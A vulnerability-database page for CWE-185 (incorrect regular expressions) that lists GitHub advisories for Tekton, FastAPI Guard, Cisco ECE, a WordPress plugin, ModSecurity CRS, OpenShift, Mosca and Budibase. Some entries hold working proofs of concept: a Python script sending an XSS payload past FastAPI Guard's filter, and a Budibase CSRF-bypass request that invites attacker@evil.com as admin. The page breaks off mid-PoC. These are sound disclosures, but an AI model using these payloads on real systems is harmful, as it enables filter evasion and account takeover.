Common Weakness Enumeration

CWE-185

Allowed-with-Review

Incorrect Regular Expression

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product specifies a regular expression in a way that causes data to be improperly matched or compared.

70 vulnerabilities reference this CWE, most recent first.

GHSA-RMX9-2PP3-XHCR

Vulnerability from github – Published: 2026-04-21 16:25 – Updated: 2026-05-22 16:05
VLAI
Summary
Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching
Details

hey guys,

triage contract this is a first-screen summary; deterministic proof is in the proof bundle (canonical.log/control.log/witness.txt).

summary trusted resources verification policies match a resource source string (refSource.URI) against spec.resources[].pattern using regexp.MatchString. in go, regexp.MatchString reports a match if the pattern matches anywhere in the string, so common unanchored patterns (including examples in tekton documentation) can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. this can cause an unintended policy match and change which verification mode/keys apply.

pins - repo: https://github.com/tektoncd/pipeline - commit: 0133513db03dadb3cb08801d6b0330badcb63830 - callsite: pkg/trustedresources/verify.go:118-137 (getMatchedPolicies)

severity MEDIUM (provisional CVSS 5.3–6.5) (signing request tampering)

repro (canonical) - command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make canonical - expected: cap not reached; canonical does not emit the vulnerability markers. - actual: cap reached; canonical emits the vulnerability markers. - canonical markers (mandatory): [CALLSITE_HIT] + [PROOF_MARKER]

negative control - command: unzip -q -o poc.zip -d poc && cd poc/poc-F-TEKTON-REGEX-001 && make control - expected: cap not reached under the same harness; control emits the control marker and does not emit the vulnerability markers. - control markers (mandatory): [CALLSITE_HIT] + [NC_MARKER]

fix consider making matching safe-by-default by requiring full-string matches (or validating patterns and documenting substring semantics clearly). one option is to anchor patterns before matching (e.g., wrap pattern as ^(?:pattern)$ when not already anchored), or to provide a separate field for exact match vs regex match. fix accepted when: under the same harness, canonical still hits [CALLSITE_HIT] but does not emit [PROOF_MARKER].

proof bundle pointers - bundle: poc.zip - bundle convention: zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions - contains: canonical.log, control.log, witness.txt - extracted paths: after extraction, see ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt - verify: compare shasum -a 256 for canonical.log/control.log/fix.patch/test source against witness.txt - supported-mode note: if your supported integration uses verified https app-links/universal links only, provide the supported tag/branch and we can retest on that pin.

poc.zip

impact an attacker can craft a trusted resources source string that embeds a trusted substring and still matches an unanchored verificationpolicy spec.resources[].pattern, even if the policy is intended to constrain matches to a specific trusted source. this occurs because regexp.MatchString succeeds on substring matches, so patterns like https://github.com/tektoncd/catalog.git match attacker-controlled sources such as https://evil.com/?x=https://github.com/tektoncd/catalog.git.

affected: deployments using trusted resources verification with unanchored verificationpolicy patterns, where an attacker can influence the refSource.URI value used for policy matching.

not affected: deployments that anchor all patterns (^...$) or otherwise enforce full-string matching; deployments where attackers cannot influence refSource.URI.

steps to reproduce

unzip -q -o poc.zip -d /tmp/poc-tekton-regex-001
cd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001
bash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log
bash ./run.sh control | tee /tmp/tekton-regex-001-control.log
grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-canonical.log && grep -n '\\[NC_MARKER\\]' /tmp/tekton-regex-001-control.log && ! grep -n '\\[PROOF_MARKER\\]' /tmp/tekton-regex-001-control.log

suggested patch options: - make matching safe-by-default by anchoring patterns before matching (or by validating and rejecting unanchored patterns). - document the substring semantics explicitly and update documentation examples to include anchors.

workarounds anchor verificationpolicy resource patterns so they must match the full source string. example:

  • ^https://github.com/tektoncd/catalog\\.git$

best, oleh

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.43.0"
            },
            {
              "fixed": "1.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/tektoncd/pipeline"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.10.0"
            },
            {
              "fixed": "1.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25542"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-21T16:25:19Z",
    "nvd_published_at": "2026-04-21T17:16:24Z",
    "severity": "MODERATE"
  },
  "details": "hey guys,\n\ntriage contract\nthis is a first-screen summary; deterministic proof is in the proof bundle (canonical.log/control.log/witness.txt).\n\nsummary\ntrusted resources verification policies match a resource source string (`refSource.URI`) against `spec.resources[].pattern` using `regexp.MatchString`. in go, `regexp.MatchString` reports a match if the pattern matches anywhere in the string, so common unanchored patterns (including examples in tekton documentation) can be bypassed by attacker-controlled source strings that contain the trusted pattern as a substring. this can cause an unintended policy match and change which verification mode/keys apply.\n\npins\n- repo: https://github.com/tektoncd/pipeline\n- commit: 0133513db03dadb3cb08801d6b0330badcb63830\n- callsite: pkg/trustedresources/verify.go:118-137 (getMatchedPolicies)\n\nseverity\nMEDIUM (provisional CVSS 5.3\u20136.5) (signing request tampering)\n\nrepro (canonical)\n- command: unzip -q -o poc.zip -d poc \u0026\u0026 cd poc/poc-F-TEKTON-REGEX-001 \u0026\u0026 make canonical\n- expected: cap not reached; canonical does not emit the vulnerability markers.\n- actual: cap reached; canonical emits the vulnerability markers.\n- canonical markers (mandatory): [CALLSITE\\_HIT] + [PROOF\\_MARKER]\n\nnegative control\n- command: unzip -q -o poc.zip -d poc \u0026\u0026 cd poc/poc-F-TEKTON-REGEX-001 \u0026\u0026 make control\n- expected: cap not reached under the same harness; control emits the control marker and does not emit the vulnerability markers.\n- control markers (mandatory): [CALLSITE\\_HIT] + [NC\\_MARKER]\n\nfix\nconsider making matching safe-by-default by requiring full-string matches (or validating patterns and documenting substring semantics clearly). one option is to anchor patterns before matching (e.g., wrap `pattern` as `^(?:pattern)$` when not already anchored), or to provide a separate field for exact match vs regex match.\nfix accepted when: under the same harness, canonical still hits [CALLSITE\\_HIT] but does not emit [PROOF\\_MARKER].\n\nproof bundle pointers\n- bundle: poc.zip\n- bundle convention: zip extracts under a single top-level folder (poc-F-TEKTON-REGEX-001/) to avoid collisions\n- contains: canonical.log, control.log, witness.txt\n- extracted paths: after extraction, see ./poc/poc-F-TEKTON-REGEX-001/canonical.log, ./poc/poc-F-TEKTON-REGEX-001/control.log, ./poc/poc-F-TEKTON-REGEX-001/witness.txt\n- verify: compare shasum -a 256 for canonical.log/control.log/fix.patch/test source against witness.txt\n- supported-mode note: if your supported integration uses verified https app-links/universal links only, provide the supported tag/branch and we can retest on that pin.\n\n[poc.zip](https://github.com/user-attachments/files/24833926/poc.zip)\n\n---\n\nimpact\nan attacker can craft a trusted resources source string that embeds a trusted substring and still matches an unanchored verificationpolicy `spec.resources[].pattern`, even if the policy is intended to constrain matches to a specific trusted source. this occurs because `regexp.MatchString` succeeds on substring matches, so patterns like `https://github.com/tektoncd/catalog.git` match attacker-controlled sources such as `https://evil.com/?x=https://github.com/tektoncd/catalog.git`.\n\naffected: deployments using trusted resources verification with unanchored verificationpolicy patterns, where an attacker can influence the `refSource.URI` value used for policy matching.\n\nnot affected: deployments that anchor all patterns (`^...$`) or otherwise enforce full-string matching; deployments where attackers cannot influence `refSource.URI`.\n\nsteps to reproduce\n```bash\nunzip -q -o poc.zip -d /tmp/poc-tekton-regex-001\ncd /tmp/poc-tekton-regex-001/poc-F-TEKTON-REGEX-001\nbash ./run.sh canonical | tee /tmp/tekton-regex-001-canonical.log\nbash ./run.sh control | tee /tmp/tekton-regex-001-control.log\ngrep -n \u0027\\\\[PROOF_MARKER\\\\]\u0027 /tmp/tekton-regex-001-canonical.log \u0026\u0026 grep -n \u0027\\\\[NC_MARKER\\\\]\u0027 /tmp/tekton-regex-001-control.log \u0026\u0026 ! grep -n \u0027\\\\[PROOF_MARKER\\\\]\u0027 /tmp/tekton-regex-001-control.log\n```\n\nsuggested patch options:\n- make matching safe-by-default by anchoring patterns before matching (or by validating and rejecting unanchored patterns).\n- document the substring semantics explicitly and update documentation examples to include anchors.\n\nworkarounds\nanchor verificationpolicy resource patterns so they must match the full source string. example:\n\n- `^https://github.com/tektoncd/catalog\\\\.git$`\n\nbest,\noleh",
  "id": "GHSA-rmx9-2pp3-xhcr",
  "modified": "2026-05-22T16:05:24Z",
  "published": "2026-04-21T16:25:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-rmx9-2pp3-xhcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25542"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/commit/2c398711e6e9e232180508f0648425a8ea34dc9e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/commit/b8905600322aa86327baae0a7c04d6cf1207362a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tektoncd/pipeline"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tektoncd/pipeline/releases/tag/v1.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tekton Pipelines has VerificationPolicy regex pattern bypass via substring matching"
}

GHSA-RRF6-PXG8-684G

Vulnerability from github – Published: 2025-07-23 15:31 – Updated: 2025-07-24 12:46
VLAI
Summary
FastAPI Guard has a regex bypass
Details

Summary

The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.

Details

In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f

This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. r"<script[^>]*>[^<]*<\\/script\\s*>" -> <script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>

This type of patch fails to catch cases where the string representing the attributes of a tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed.

PoC

  1. clone the fastapi-guard repository
  2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. image
  3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.
import requests

URL = "<http://localhost:8000>"

obvious_payload = {
    "obvious" : "<script>alert(1);</script>"
}
response = requests.post(url=URL, json=obvious_payload)
print(f"[+] response of first request: {response.text}")

bypassed_payload = {
    "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>'
}

response = requests.post(url=URL, json=bypassed_payload)
print(f"[+] response of second request: {response.text}")

image

Impact

Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

Severity
7.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "fastapi-guard"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.1"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54365"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-185",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-23T15:31:12Z",
    "nvd_published_at": "2025-07-23T23:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"\u003cscript[^\u003e]*\u003e[^\u003c]*\u003c\\\\/script\\\\s*\u003e\"` -\u003e `\u003cscript[^\u003e]{0,100}\u003e[^\u003c]{0,1000}\u003c\\\\/script\\\\s{0,10}\u003e`\n\nThis type of patch fails to catch cases where the string representing the attributes of a \u003cscript\u003e tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n\u003cimg width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" /\u003e\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"\u003chttp://localhost:8000\u003e\"\n\nobvious_payload = {\n    \"obvious\" : \"\u003cscript\u003ealert(1);\u003c/script\u003e\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f\u0027\u003cscript id=\"i_can_bypass_regex_filtering{\u0027a\u0027*100}\"\u003ealert(1)\u003c/script\u003e\u0027\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n\u003cimg width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" /\u003e\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.",
  "id": "GHSA-rrf6-pxg8-684g",
  "modified": "2025-07-24T12:46:22Z",
  "published": "2025-07-23T15:31:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54365"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rennf93/fastapi-guard"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "FastAPI Guard has a regex bypass"
}

GHSA-RX2W-X63R-4R67

Vulnerability from github – Published: 2025-04-02 18:30 – Updated: 2025-04-02 18:30
VLAI
Details

A vulnerability in chat messaging features of Cisco Enterprise Chat and Email (ECE) could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition.

This vulnerability is due to improper validation of user-supplied input to chat entry points. An attacker could exploit this vulnerability by sending malicious requests to a messaging chat entry point in the affected application. A successful exploit could allow the attacker to cause the application to stop responding, resulting in a DoS condition. The application may not recover on its own and may need an administrator to manually restart services to recover.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-20139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-02T17:15:43Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in chat messaging features of Cisco Enterprise Chat and Email (ECE) could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition.\n\n This vulnerability is due to improper validation of user-supplied input to chat entry points. An attacker could exploit this vulnerability by sending malicious requests to a messaging chat entry point in the affected application. A successful exploit could allow the attacker to cause the application to stop responding, resulting in a DoS condition. The application may not recover on its own and may need an administrator to manually restart services to recover.",
  "id": "GHSA-rx2w-x63r-4r67",
  "modified": "2025-04-02T18:30:53Z",
  "published": "2025-04-02T18:30:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20139"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ece-dos-tC6m9GZ8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXQJ-FRFF-8MF2

Vulnerability from github – Published: 2024-09-18 06:30 – Updated: 2024-09-25 21:30
VLAI
Details

The WP Hardening – Fix Your WordPress Security plugin for WordPress is vulnerable to Security Feature Bypass in all versions up to, and including, 1.2.6. This is due to use of an incorrect regular expression within the "Stop User Enumeration" feature. This makes it possible for unauthenticated attackers to bypass intended security restrictions and expose site usernames.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-6641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-697"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-18T06:15:02Z",
    "severity": "MODERATE"
  },
  "details": "The WP Hardening \u2013 Fix Your WordPress Security plugin for WordPress is vulnerable to Security Feature Bypass in all versions up to, and including, 1.2.6. This is due to use of an incorrect regular expression within the \"Stop User Enumeration\" feature. This makes it possible for unauthenticated attackers to bypass intended security restrictions and expose site usernames.",
  "id": "GHSA-rxqj-frff-8mf2",
  "modified": "2024-09-25T21:30:34Z",
  "published": "2024-09-18T06:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6641"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3151308/wp-security-hardening"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7a52a278-1729-4027-8a00-e9804fa6698b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VH8C-WFV5-X468

Vulnerability from github – Published: 2022-05-24 16:44 – Updated: 2022-05-24 16:44
VLAI
Details

An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with next# at the beginning and nested repetition operators.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-11389"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-04-21T02:29:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in OWASP ModSecurity Core Rule Set (CRS) through 3.1.0. /rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf allows remote attackers to cause a denial of service (ReDOS) by entering a specially crafted string with next# at the beginning and nested repetition operators.",
  "id": "GHSA-vh8c-wfv5-x468",
  "modified": "2022-05-24T16:44:03Z",
  "published": "2022-05-24T16:44:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11389"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1356"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1372"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQFW-39GH-42CJ

Vulnerability from github – Published: 2022-05-24 17:16 – Updated: 2023-02-02 21:33
VLAI
Details

A flaw was found in openshift-ansible. OpenShift Container Platform (OCP) 3.11 is too permissive in the way it specified CORS allowed origins during installation. An attacker, able to man-in-the-middle the connection between the user's browser and the openshift console, could use this flaw to perform a phishing attack. The main threat from this vulnerability is data confidentiality.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-1741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-697"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-04-24T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in openshift-ansible. OpenShift Container Platform (OCP) 3.11 is too permissive in the way it specified CORS allowed origins during installation. An attacker, able to man-in-the-middle the connection between the user\u0027s browser and the openshift console, could use this flaw to perform a phishing attack. The main threat from this vulnerability is data confidentiality.",
  "id": "GHSA-wqfw-39gh-42cj",
  "modified": "2023-02-02T21:33:40Z",
  "published": "2022-05-24T17:16:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1741"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:3541"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2020-1741"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1802381"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1741"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WQG7-VRJ7-V82H

Vulnerability from github – Published: 2018-08-31 06:22 – Updated: 2023-09-07 22:27
VLAI
Summary
Mosca REDoS Vulnerability
Details

This vulnerability allows remote attackers to deny service on vulnerable installations of npm mosca 2.8.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of topics. A crafted regular expression can cause the broker to crash. An attacker can leverage this vulnerability to deny access to the target system.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mosca"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-11615"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-185",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T22:01:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "This vulnerability allows remote attackers to deny service on vulnerable installations of npm mosca 2.8.1. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of topics. A crafted regular expression can cause the broker to crash. An attacker can leverage this vulnerability to deny access to the target system.",
  "id": "GHSA-wqg7-vrj7-v82h",
  "modified": "2023-09-07T22:27:31Z",
  "published": "2018-08-31T06:22:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11615"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wqg7-vrj7-v82h"
    },
    {
      "type": "WEB",
      "url": "https://zerodayinitiative.com/advisories/ZDI-18-583"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mosca REDoS Vulnerability"
}

GHSA-WXQ7-X3QP-VCR8

Vulnerability from github – Published: 2026-06-12 18:23 – Updated: 2026-06-12 18:23
VLAI
Summary
Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker
Details

Summary

The buildMatcherRegex() / matches() functions in packages/backend-core/src/middleware/matchers.ts share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into unanchored regular expressions and tested against ctx.request.url, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.

CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in server/middleware/utils.ts but left backend-core/middleware/matchers.ts untouched.

Details

Root cause — packages/backend-core/src/middleware/matchers.ts:

export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => {
  return patterns.map(pattern => {
    let route = pattern.route
    // replaces :param segments with /.*
    const matches = route.match(PARAM_REGEX)
    if (matches) {
      for (let match of matches) {
        const suffix = match.endsWith("/") ? "/" : ""
        route = route.replace(match, "/.*" + suffix)
      }
    }
    return { regex: new RegExp(route), method, route }
    //              ^ no ^ anchor, no $ anchor — matches anywhere in string
  })
}

export const matches = (ctx: Ctx, options: RegexMatcher[]) => {
  return options.find(({ regex, method }) => {
    const urlMatch = regex.test(ctx.request.url)  // full URL including query string
    const methodMatch = method === "ALL" ? true
      : ctx.request.method.toLowerCase() === method.toLowerCase()
    return urlMatch && methodMatch
  })
}

Two compounding bugs identical to the patched CVE: 1. new RegExp(route) — no ^ start anchor, no $ end anchor. 2. ctx.request.url — full URL string including ?query=value, not just the path.

CSRF middleware — packages/backend-core/src/middleware/csrf.ts:

export function csrf(
  opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }
) {
  const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)
  return (async (ctx: Ctx, next: Next) => {
    const found = matches(ctx, noCsrfOptions)
    if (found) {
      return next()   // <-- CSRF check entirely skipped when pattern matches
    }
    // ... CSRF token validation ...
  }) as Middleware
}

Worker registration — packages/worker/src/api/index.ts:

const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]
// PUBLIC_ENDPOINTS includes (among others):
// { route: "/api/global/auth/:tenantId", method: "POST" }
// { route: "/api/global/users/init",     method: "POST" }
// { route: "/api/system/restored",       method: "POST" }

router
  .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))

buildMatcherRegex compiles "/api/global/auth/:tenantId" into the regex /api/global/auth/.* (via PARAM_REGEX replacing /:tenantId → /.*). Since the regex is unanchored, it matches the substring "/api/global/auth/" anywhere in ctx.request.url — including inside a query string parameter on a completely different endpoint.

Triggering condition:

POST /api/global/users/invite?x=/api/global/auth/evil
  • ctx.request.url = "/api/global/users/invite?x=/api/global/auth/evil"
  • new RegExp("/api/global/auth/.*").test(ctx.request.url) → true (substring found in query string)
  • ctx.request.method === "POST" → true
  • matches() returns the pattern entry → CSRF skipped
  • The protected user-invite POST proceeds without any CSRF token

Additional affected middleware (same matches() call):

Middleware Pattern list Security effect when bypassed
csrf() NO_CSRF_ENDPOINTS CSRF token validation skipped
tenancy() NO_TENANCY_ENDPOINTS allowNoTenant = true, bypasses tenant ID requirement
authenticated() PUBLIC_ENDPOINTS Marks endpoint as publicEndpoint = true

The NO_TENANCY_ENDPOINTS entry { route: "/api/system", method: "ALL" } compiles to /api/system (no param replacement). Since method: "ALL" matches every HTTP verb and the pattern is unanchored, any request with ?x=/api/system/x in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.

PoC

Prerequisites: Victim user is logged into a Budibase Worker instance (e.g., https://budibase.target.com) in their browser. Attacker hosts a page at https://evil.com.

Step 1 — Verify CSRF is normally enforced:

# Without the bypass — CSRF token missing → rejected
curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \
  -H 'Cookie: <victim_session>' \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \
  -v
# → HTTP 403 CSRF token mismatch

Step 2 — CSRF bypass via query string injection:

